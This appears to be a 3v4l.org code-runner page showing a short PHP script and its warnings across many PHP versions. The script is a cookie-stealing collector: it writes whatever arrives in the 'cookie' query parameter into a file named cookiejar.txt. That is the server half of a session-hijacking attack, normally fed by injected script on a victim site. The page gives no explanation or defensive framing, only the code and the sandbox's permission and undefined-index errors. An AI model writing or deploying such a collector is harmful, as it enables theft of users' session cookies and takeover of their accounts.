3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $handle=fopen("cookiejar.txt","a"); fputs($handle,"\n".$_GET["cookie"]."\n"); fclose($handle); ?>
Output for 5.3.0 - 7.1.0
Warning: fopen(cookiejar.txt): failed to open stream: Permission denied in /in/hMBrG on line 2 Notice: Undefined index: cookie in /in/hMBrG on line 3 Warning: fputs() expects parameter 1 to be resource, boolean given in /in/hMBrG on line 3 Warning: fclose() expects parameter 1 to be resource, boolean given in /in/hMBrG on line 4
Output for 5.2.3 - 5.2.17
Warning: fopen(cookiejar.txt): failed to open stream: Permission denied in /in/hMBrG on line 2 Notice: Undefined index: cookie in /in/hMBrG on line 3 Warning: fputs(): supplied argument is not a valid stream resource in /in/hMBrG on line 3 Warning: fclose(): supplied argument is not a valid stream resource in /in/hMBrG on line 4
Output for 4.3.2 - 5.2.2
Warning: fopen(cookiejar.txt): failed to open stream: Read-only file system in /in/hMBrG on line 2 Notice: Undefined index: cookie in /in/hMBrG on line 3 Warning: fputs(): supplied argument is not a valid stream resource in /in/hMBrG on line 3 Warning: fclose(): supplied argument is not a valid stream resource in /in/hMBrG on line 4
Output for 4.3.0 - 4.3.1
Warning: fopen(cookiejar.txt) [http://www.php.net/function.fopen]: failed to create stream: Read-only file system in /in/hMBrG on line 2 Notice: Undefined index: cookie in /in/hMBrG on line 3 Warning: fputs(): supplied argument is not a valid stream resource in /in/hMBrG on line 3 Warning: fclose(): supplied argument is not a valid stream resource in /in/hMBrG on line 4